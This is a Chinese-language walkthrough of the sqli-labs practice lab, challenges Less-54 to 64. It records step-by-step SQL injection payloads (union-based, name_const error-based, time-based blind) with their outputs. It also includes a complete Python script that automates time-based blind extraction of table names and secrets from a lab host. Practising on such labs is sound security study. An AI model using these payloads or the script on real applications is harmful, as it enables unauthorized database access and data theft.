【靶场练习_sqli-labs】SQLi-LABS Page-4 (Challenges)

Less-54:

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

• Your Password:CL0FY8NWDK

?id=-1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_schema=database()  and table_name='CL0FY8NWDK'--+

• Your Login name:challenges
• Your Password:id,sessid,secret_TOM0,tryy

?id=-1' union select 1,group_concat(sessid),group_concat(secret_TOM0) from CL0FY8NWDK--+

• Your Login name:d8074a35855a7f4935e3e19222d9a9eb
• Your Password:bgAkTAN2t9AwqzSZyXtjhag4

有点迷，不知道这个怎么玩，反正登陆失败了，sessid和secre_TOMO都试过了Orz；

好吧，是没看界面，它的中文意思 ：“恭喜你成功了”，【话说你以前不是蓝色的嘛！！！

 

 

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Less-55:

 ?id=1) and (1 ，?id=1) and (0

• 回显不同，小括号闭合

?id=0) union select 1,group_concat(table_name),database() from information_schema.tables where table_schema=database()--+ ：

• Your Login name:MYGNMGLTYN
• Your Password:challenges     

?id=0) union select 1,group_concat(column_name),database() from information_schema.columns where table_schema=database() and table_name='MYGNMGLTYN'--+

• Your Login name:id,sessid,secret_81NP,tryy
• Your Password:challenges

?id=0) union select 1,group_concat(secret_81NP),database() from MYGNMGLTYN--+

• Your Login name:56aKKaL0ZO1elWAFGWwRtGcE
• Your Password:challenges

查出:

• 56aKKaL0ZO1elWAFGWwRtGcE

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Less-56：

?id=1' and '0，?id=1' and '1

• 回显不同，单引号

?id=2' and '1

• 查出第一条数据，小括号闭合

?id=0') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

• Your Login name:MYGNMGLTYN
• Your Password:3

 

?id=0') union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='MYGNMGLTYN'--+

?id=0') union select 1,group_concat(secret_81NP),3 from MYGNMGLTYN--+

• Your Login name:56aKKaL0ZO1elWAFGWwRtGcE
  
• Your Password:3

查出：

• 56aKKaL0ZO1elWAFGWwRtGcE

 

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Less-57：

?id=1" and "0，?id=1" and "1

• 双引号闭合

?id=2" and "1

• 回显第二条，没有小括号

?id=0" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

• Your Login name:2
• Your Password:KXPI7R3J3M

?id=0" union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database()--+

• Your Login name:2
• Your Password:id,sessid,secret_24A7,tryy

?id=0" union select 1,2,group_concat(secret_24A7) from KXPI7R3J3M--+

• Your Login name:2
• Your Password:TNxWAHFGN4l1FiZOpr3F6yju

查出：

• TNxWAHFGN4l1FiZOpr3F6yju

 

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Less-58：

?id=1' and '1 ，?id=1' and '0

• 单引号闭合

?id=2') and ('1

• 报错，无小括号

?id=' union (SELECT * FROM (SELECT name_const((select group_concat(table_name) from information_schema.tables where table_schema=database()),1),name_const((select group_concat(table_name) from information_schema.tables where table_schema=database()),1)) a)--+

• Duplicate column name 'ZQ803A690O'

?id=' union (SELECT * FROM (SELECT name_const((select group_concat(column_name) from information_schema.columns where table_schema=database()),1),name_const((select group_concat(column_name) from information_schema.columns where table_schema=database()),1)) a)--+

• Duplicate column name 'id,sessid,secret_TB31,tryy'

?id=' union (SELECT * FROM (SELECT name_const((select group_concat(secret_TB31) from ZQ803A690O),1),name_const((select group_concat(secret_TB31) from ZQ803A690O),1)) a)--+

• Duplicate column name '9f7VYPJeYRbMCqZ7mGZkzOlu'

提交：

• 9f7VYPJeYRbMCqZ7mGZkzOlu

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Less-59：

?id=1 and 1，?id=1 and 0

• 数字型

?id=2 and 1

• 回显第二条，无小括号

?id=0 union (SELECT * FROM (SELECT name_const((select group_concat(table_name) from information_schema.tables where table_schema=database()),1),name_const((select group_concat(table_name) from information_schema.tables where table_schema=database()),1)) a)--+

• Duplicate column name 'DDCETXN5RL'

?id=0 union (SELECT * FROM (SELECT name_const((select group_concat(column_name) from information_schema.columns where table_schema=database()),1),name_const((select group_concat(column_name) from information_schema.columns where table_schema=database()),1)) a)--+

• Duplicate column name 'id,sessid,secret_NW54,tryy'

?id=0 union (SELECT * FROM (SELECT name_const((select group_concat(secret_NW54) from DDCETXN5RL),1),name_const((select group_concat(secret_NW54) from DDCETXN5RL),1)) a)--+

• Duplicate column name '1yChO5jTqiN4t1HpROwWWTBt'

提交：

• 1yChO5jTqiN4t1HpROwWWTBt

 

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Less-60:

?id=2" and "0--+ ，?id=2" and "1--+

• 双引号闭合，查出第一条无小括号
  

?id=-1")union (SELECT * FROM (SELECT name_const((select group_concat(table_name) from information_schema.tables where table_schema=database()),1),name_const((select group_concat(table_name) from information_schema.tables where table_schema=database()),1)) a)--+

• Duplicate column name 'HKTX3I9V9F'
  

?id=-1")union (SELECT * FROM (SELECT name_const((select group_concat(column_name) from information_schema.columns where table_schema=database()),1),name_const((select group_concat(column_name) from information_schema.columns where table_schema=database()),1)) a)--+

• Duplicate column name 'id,sessid,secret_39ZN,tryy'
  

?id=-1")union (SELECT * FROM (SELECT name_const((select group_concat(secret_39ZN) from HKTX3I9V9F),1),name_const((select group_concat(secret_39ZN) from HKTX3I9V9F),1)) a)--+

• Duplicate column name 'JGw1EIsBhUycAxCTGOmn3b23'提交：
  

提交：

• JGw1EIsBhUycAxCTGOmn3b23

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Less-61：有两个小括号Orz

?id=1' and '0，?id=1' and '1

• 单引号闭合

?id=2' and '1

• 小括号闭合

?id=-1'))union (SELECT * FROM (SELECT name_const((select group_concat(table_name) from information_schema.tables where table_schema=database()),1),name_const((select group_concat(table_name) from information_schema.tables where table_schema=database()),1)) a)--+

• Duplicate column name 'P1EYFNKQS3'

 

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 Less-62:

?id=1' and '0，?id=1' and '1

• 单引号闭合

?id=2' and '1

• 小括号闭合

?id=2' and sleep(3) and '1--+

• 检测出来用时间盲注

 

'''
@Modify Time      @Author   
------------      -------    
2019/10/10 13:03   laoalo
'''
# -*- coding:utf-8 -*-
import requests
import time

url = "http://192.168.199.190/sqli-labs-master/Less-62/?id=1') "
def database_length():
    global url
    for i in range(1,10000):
        sql = url + " and if((length(database()))>"+str(i)+",0,sleep(3)) +--+"
        s_time = time.time()
        requests.get(url=sql)
        e_time = time.time()
        print(sql)
        if(e_time-s_time) > 3:
            print("数据库长：",i)
            break
def database_name(database_length):
    global url
    sql = url + " and if(ascii(substr((select database()),{num},1))>{asc},0,sleep(3)) +--+"
    db_name = ''
    for num in range(1, database_length+1):
        for asc in range(ord('a'), ord('z') + 1):
            s_time = time.time()
            requests.get(sql.format(num=num, asc=asc))
            e_time = time.time()
            if (e_time - s_time) > 3:
                db_name += chr(asc)
                print("数据库名：",db_name)
                break
def table_length(database_name):
    global url
    for i in range(1, 10000):
        sql = url + " and if((select length((select group_concat(table_name) from information_schema.tables where table_schema='"+database_name+"')))>" + str(i) + ",0,sleep(3)) +--+"
        s_time = time.time()
        response = requests.get(url=sql)
        e_time = time.time()
        print(sql)
        if (e_time - s_time) > 3:
            print(database_name,"中的所有数据表名长：", i)
            break
def table_name(table_length,database_name):
    global url
    sql = url + " and if(ascii(substr((select group_concat(table_name separator '@') from information_schema.tables where table_schema='"+database_name+"'),{num},1))>{asc},0,sleep(3)) +--+"
    table_name = ''
    for num in range(1, table_length + 1):
        for asc in range(32, 128):
            s_time = time.time()
            requests.get(sql.format(num=num, asc=asc))
            e_time = time.time()
            if (e_time - s_time) > 3:
                table_name += chr(asc)
                print("所有的数据表名：", table_name)
                break
def column_length(table_name,database_name):
    global url
    for i in range(1, 10000):
        sql = url + " and if((select length((select group_concat(column_name) from information_schema.columns where table_name='" + table_name + "' and table_schema='"+database_name+"')))>" + str(i) + ",0,sleep(3)) +--+"
        s_time = time.time()
        requests.get(url=sql)
        e_time = time.time()
        # print(sql)
        if (e_time - s_time) > 3:
            print(table_name, "中的所有字段名长：", i)
            break
def column_name(column_length,table_name,database_name):
    global url
    sql = url + " and if(ascii(substr((select group_concat(column_name separator '@') from information_schema.columns where table_name='" + table_name + "' and table_schema='"+database_name+"'),{num},1))>{asc},0,sleep(3)) +--+"
    table_name = ''
    for num in range(1, column_length + 1):
        for asc in range(32, 128):
            s_time = time.time()
            requests.get(sql.format(num=num, asc=asc))
            e_time = time.time()
            if (e_time - s_time) > 3:
                table_name += chr(asc)
                print("所有的字段名：", table_name)
                break
def data_length(column_name,table_name):
    global url
    for i in range(1, 10000):
        sql = url + " and if((select length((select group_concat("+column_name+" separator '@') from " + table_name + ")))>" + str(i) + ",0,sleep(3)) +--+"
        s_time = time.time()
        requests.get(url=sql)
        e_time = time.time()
        # print(sql)
        if (e_time - s_time) > 3:
            print(column_name, "字段的值长：", i)
            break
def data_detail(data_length,column_name,table_name):
    global url
    sql = url + " and if(ascii(substr((select group_concat("+column_name+" separator '@') from " + table_name + "),{num},1))>{asc},0,sleep(3)) +--+"
    data = ''
    for num in range(1, data_length + 1):
        for asc in range(32, 128):
            s_time = time.time()
            requests.get(sql.format(num=num, asc=asc))
            e_time = time.time()
            if (e_time - s_time) > 3:
                data += chr(asc)
                print(column_name,"字段的值：", data)
                break
if __name__ == '__main__':
    # database_length() #数据库长： 10
    # database_name(10) #数据库名： challenges
    # table_length('challenges')#challenges 中的所有数据表名长： 10
    # table_name(10, 'challenges')#所有的数据表名： P1EYFNKQS3
    # column_length('P1EYFNKQS3','challenges') #P1EYFNKQS3 中的所有字段名长： 26
    # column_name(26,'P1EYFNKQS3','challenges')#所有的字段名： id@sessid@secret_ZGLB@tryy
    # data_length('secret_ZGLB', 'P1EYFNKQS3')#secret_ZGLB 字段的值长： 24
    data_detail(24, 'secret_ZGLB', 'P1EYFNKQS3')#secret_ZGLB 字段的值： o6x95TdsyX3fTTBuJcgRIpoa

View Code

 

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  Less-63:

?id=1' and '0，?id=1' and '1

• 单引号闭合

?id=1' and sleep(1) --+

• 检测出来用时间盲注

脚本用62的把这里改了就行

1 url = "http://192.168.199.190/sqli-labs-master/Less-63/?id=1' "

  

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 Less-64：

?id=1 and 0，?id=1 and 0

• 数字型

?id=2 and 1

• 返回第一条，小括号

 select * from users where id=(1 and if((length(database())=8),sleep(1),1));

•  时间盲注脚本用62的

 

 

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Less-65:

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Less-66:

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Less-67:

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Less-68:

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Less-69:

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Less-70:

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Less-71:

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Less-72:

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Less-73:

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Less-74:

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